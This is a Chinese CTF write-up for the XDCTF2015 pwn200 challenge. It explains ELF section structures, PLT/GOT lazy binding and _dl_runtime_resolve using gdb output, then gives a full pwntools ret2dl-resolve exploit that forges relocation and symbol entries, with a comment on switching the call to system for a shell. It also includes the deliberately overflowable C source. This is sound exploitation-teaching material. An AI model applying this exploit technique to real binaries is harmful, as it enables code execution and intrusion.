参考:
ctf-wiki高级ROP部分.
ctf-wiki对elf文件格式的讲解
https://bbs.pediy.com/thread-227034.htm
由于原文讲解的不是很详细,自己看的时候有很多问题,于是慢慢将问题搞清楚记录下来.详解elf节的文件结构,plt,got机制.结合上面3个参考来理解.
1.pwn200源码:
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
编译方式:gcc main.c -m32 -fno-stack-protector -o main
2.stage1
内容在 https://www.jianshu.com/p/0d45e2025d97
3.stage5
要理解这部分代码首先要搞清楚got,plt,elf文件结构的.rel.plt
首先推荐一个观察elf文件格式的超好用的工具:wireshark. 没看错,我们都知道它是用来做流量分析的,可我突然发现直接把elf文件拖到wireshark中可以非常直观地查看elf文件结构.放个预览图:
可以发现header就是elf文件头,program header table 就是程序头表,section header table就是节头表.重点分析节头表及重要的节.
节头:
每一个节头由如下结构构成,以.rel.plt为例:
对应的数据结构:
//如果以上图的函数的重定位节.rel.plt为例,字段值分别解释如下
typedef struct {
ELF32_Word sh_name; //在字符串节中的偏移,一个elf文件有多个字符串表,这个是存在于.shstrtab中,这个值表示节名字符串起始地址在.shstrtab节中偏移
ELF32_Word sh_type;//SHT_REL
ELF32_Word sh_flags;//09
ELF32_Addr sh_addr;//0x0848330在内存中的虚拟地址
ELF32_Off sh_offset;//elf文件偏移
ELF32_Word sh_size;//该节的总大小 0x28字节
ELF32_Word sh_link;//0x5
ELF32_Word sh_info;//0x18
ELF32_Word sh_addralign;//0x4
ELF32_Word sh_entsize;//0x8 表示本节每个元素大小,由总大小0x28/0x8=5,故共有5个元素
} Elf32_Shdr;
从图中可以发现下面还有个segment,这个并不是节头的内容,而是该节的本身.wireshark帮我们把每个节的节本身也放在了节头下面,方便我们查看. 展开如下:
从file offset可知节位于文件偏移0x330处,点到segment后,如箭头指示,正好位于0x330处,而且具有5个元素(entry),每个元素8字节大小,这和文件头的描述吻合.每个不同的节的entry结构是不同的,.rel.plt的entry的结构为
//函数的重定位节(表)
//每个元素是个结构:
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;//这个值>>8得到.dynsym的下标(从0开始),可求出当前函数的符号表项Elf32_Sym的指针,
} Elf32_Rel;
重要节.plt详解:
节头:
.plt节位于文件偏移0x380处,在内存中地址为0x08048380,总大小0x60字节,每个entry4字节.调试验证一下:
gef➤ x/24wx 0x8048380
0x8048380: 0xa00435ff 0x25ff0804 0x0804a008 0x00000000
0x8048390 <setbuf@plt>: 0xa00c25ff 0x00680804 0xe9000000 0xffffffe0
0x80483a0 <read@plt>: 0xa01025ff 0x08680804 0xe9000000 0xffffffd0
0x80483b0 <strlen@plt>: 0xa01425ff 0x10680804 0xe9000000 0xffffffc0
0x80483c0 <__libc_start_main@plt>: 0xa01825ff 0x18680804 0xe9000000 0xffffffb0
0x80483d0 <write@plt>: 0xa01c25ff 0x20680804 0xe9000000 0xffffffa0
根据gdb的注释,确实如此.只不过在一个函数的plt中,并不是只有4字节,而是16字节(后面会用到).例如对0x80483d0 反汇编看看:
gef➤ disas 0x80483d0
Dump of assembler code for function write@plt:
0x080483d0 <+0>: jmp DWORD PTR ds:0x804a01c
0x080483d6 <+6>: push 0x20
0x080483db <+11>: jmp 0x8048380
End of assembler dump.
这16字节是该函数的plt的调用过程.再查看got表,所谓的got表其实是.got.plt节
由代码的jmp DWORD PTR ds:0x804a01c(由图中0x804a000+0x101c得到) ,发现从plt跳到[0x804a01c]处执行.再看图知就是0x080483d6,正好是write函数的plt中第二条指令地址.根据延迟绑定机制,只有当函数被调用时才进行地址修正,故plt后2条指令就是修正过程,它会将write函数的got表项(这里就是0x804a01c)写入真正的地址(即[0x804a01c]=write函数真正地址)并执行.当第二次及其以后都不会再进入plt的后2条指令了.而是直接jmp到真正的地址.查看一下未初始化的got表内容:
对got表
gef➤ x/20wx 0x804a000
0x804a000: 0x08049f14 0xf7ffd918 0xf7fee000(解析函数) 0x08048396(第一个)
0x804a010: 0x080483a6(第二个...依次类推) 0x080483b6 0xf7e1b540 0x080483d6(正好是plt的第2行指令地址)
0x804a020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a040 <stdin@@GLIBC_2.0>: 0xf7fb55a0 0xf7fb5d60 0x00000000 0x00000000
初始化后的got表内容:
gdb-peda$ x/20wx 0x804a000
0x804a000: 0x08049f14 0xf7ffd918 0xf7fee000 0xf7e68ff0
0x804a010: 0x080483a6 0xf7e81440 0xf7e1b540 0xf7ed8b70(已初始化)
gdb-peda$ disas 0xf7ed8b70
Dump of assembler code for function write:
=> 0xf7ed8b70 <+0>: cmp DWORD PTR gs:0xc,0x0
0xf7ed8b78 <+8>: jne 0xf7ed8ba0 <write+48>
0xf7ed8b7a <+0>: push ebx
0xf7ed8b7b <+1>: mov edx,DWORD PTR [esp+0x10]
0xf7ed8b7f <+5>: mov ecx,DWORD PTR [esp+0xc]
0xf7ed8b83 <+9>: mov ebx,DWORD PTR [esp+0x8]
0xf7ed8b87 <+13>: mov eax,0x4
0xf7ed8b8c <+18>: call DWORD PTR gs:0x10
.................
而下面的0x8048380(.plt节内容基址)就是_dl_runtime_resolve函数的plt:
gef➤ x/20i 0x8048380 //强制反汇编
0x8048380: push DWORD PTR ds:0x804a004
0x8048386: jmp DWORD PTR ds:0x804a008
0x804838c: add BYTE PTR [eax],al
0x804838e: add BYTE PTR [eax],al
0x8048390 <setbuf@plt>: jmp DWORD PTR ds:0x804a00c
0x8048396 <setbuf@plt+6>: push 0x0
0x804839b <setbuf@plt+11>: jmp 0x8048380
0x80483a0 <read@plt>: jmp DWORD PTR ds:0x804a010
0x80483a6 <read@plt+6>: push 0x8
0x80483ab <read@plt+11>: jmp 0x8048380
0x80483b0 <strlen@plt>: jmp DWORD PTR ds:0x804a014
0x80483b6 <strlen@plt+6>: push 0x10
0x80483bb <strlen@plt+11>: jmp 0x8048380
0x80483c0 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a018
0x80483c6 <__libc_start_main@plt+6>: push 0x18
0x80483cb <__libc_start_main@plt+11>: jmp 0x8048380
0x80483d0 <write@plt>: jmp DWORD PTR ds:0x804a01c
0x80483d6 <write@plt+6>: push 0x20
0x80483db <write@plt+11>: jmp 0x8048380
前4行就是_dl_runtime_resolve的plt,它自己的got:0x804a008内容如下:是真正的地址,不需要修正的
gef➤ x/w 0x804a008
0x804a008: 0xf7763000
gef➤ disas 0xf7763000
Dump of assembler code for function _dl_runtime_resolve:
0xf7763000 <+0>: push eax
0xf7763001 <+1>: push ecx
0xf7763002 <+2>: push edx
0xf7763003 <+3>: mov edx,DWORD PTR [esp+0x10]
0xf7763007 <+7>: mov eax,DWORD PTR [esp+0xc]
0xf776300b <+11>: call 0xf775c7e0 <_dl_fixup>
0xf7763010 <+16>: pop edx
0xf7763011 <+17>: mov ecx,DWORD PTR [esp]
0xf7763014 <+20>: mov DWORD PTR [esp],eax
0xf7763017 <+23>: mov eax,DWORD PTR [esp+0x4]
0xf776301b <+27>: ret 0xc
End of assembler dump.
其实_dl_runtime_resolve函数接收2个参数,从write的plt发现,跳转到_dl_runtime_resolve的plt之前push了一个参数0x20,_dl_runtime_resolve的plt第一条指令也是push一个参数,这个参数不用管他.即通过传入不同的参数会对不同的函数进行修正.这个0x20的参数表示的是离.rel.plt节的偏移.前面已经知道.rel.plt节每个entry8字节,因此write对应函数重定位节的第4个entry.也就是说,对_dl_runtime_resolve指定好第二个参数后,就能直接调用
_dl_runtime_resolve来间接调用函数._dl_runtime_resolve的内部是通过第一个参数获取到.dynamic节,又能通过.dynamic节获取到.dynstr, .dynsym, .rel.plt 这3个节.总之:
_dl_runtime_resolve会
用link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
.rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
.dynstr + sym->st_name得出符号名字符串指针
在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
调用这个函数
.dynamic节内容:
重要的entry已经被展开,结构如下
typedef struct {
Elf32_Sword d_tag;//不同的entry该值不同
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;//对于tag为5,6,0x17(23)时,分别是指向.dynstr, .dynsym, .rel.plt这3个section的指针.3时,指向.got.plt
} Elf32_Dyn;
.rel.plt 节entry上面已说过,8个字节,前4字节指向对应函数的.got.plt节(got表)的值,即当_dl_runtime_resolve找到真正的地址时会执行类似于这样的东西: *(int*)(Elf32_Rel->r_offset)=真正的地址
.dynsym节:
专用的动态符号表, 内容结构如下,每个结构大小16字节
ELF 文件中 export/import 的符号信息全在这里。
但是,.symtab 节中存储的信息是编译时的符号信息
对应结构:
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */ 该成员保存着动态符号在 .dynstr 表(动态字符串表)中的偏移。这个是_dl_runtime_resolve解析外部函数的关键成员.
Elf32_Addr st_value; /* Symbol value */如果这个符号被导出,这个符号保存着对应的虚拟地址。
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
.dynstr
和.strtab(存储程序中的变量名,函数名), .shstrtab(存储的是节区名的字符串)类似
此时直接看ctf-wiki的stage5代码:
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
#这些值可以边调试代码边到wireshark中查看是否一致
plt0 = elf.get_section_by_name('.plt').header.sh_addr#获取.plt在内存中地址:0x8048380
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr#获取.rel.plt在内存中地址:0x8048330
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr#获取.dynsym在内存中地址:0x80481d8
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr#获取.dynstr在内存中地址:0x8048278
### making fake write symbol
#将伪造的符号结构置于 base_stage + 32的地方,不能少于32,因为前面+24的地方是伪造的重定位结构,+本身
#8字节即32.
fake_sym_addr = base_stage + 32
#下面2行是为了地址对齐,经过调试,这个align是0x10
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf )# since the size of item(Elf32_Symbol) of dynsym is 0x10
fake_sym_addr = fake_sym_addr + align
## plus 10 since the size of Elf32_Sym is 16.
index_dynsym = (fake_sym_addr - dynsym) / 0x10 #计算伪造的符号结构在符号节的索引,用于伪造的.rel.plt
#计算伪造的字符串结构(其实就是字符串)离字符串节偏移,用于填充伪造的符号结构第一个字段
st_name = fake_sym_addr + 0x10 - dynstr#伪造的字符串位于fake_sym_addr + 0x10
fake_write_sym = flat([st_name, 0, 0, 0x12])#伪造的符号结构,后3个字段都一样,无需更改
### making fake write relocation
## making base_stage+24 ---> fake reloc
#将伪造的重定位结构置于 base_stage + 24的地方
#计算重定位结构与rel_plt基址偏移,用于作为_dl_runtime_resolve的参数
index_offset = base_stage + 24 - rel_plt
#伪造的重定位结构,Elf32_Rel.r_offset=write_got ;Elf32_Rel.r_info=(index_dynsym << 8) | 0x7
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7#在wireshark中可以看到这些结构的r_info低位都有0x7,这里也加上就好了
fake_write_reloc = flat([write_got, r_info])
rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
#write函数的3个参数
rop.raw(1)
rop.raw(base_stage + 80)#sh的地址
rop.raw(len(sh))
rop.raw(fake_write_reloc) #将伪造的重定位结构置于 base_stage + 24的地方
rop.raw('a' * align) # padding
rop.raw(fake_write_sym) # fake write symbol#将伪造的符号结构置于 base_stage + 32的地方
rop.raw('write\x00') #.伪造的字符串必须以0结尾,将这里改为system并修改参数即调用之
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()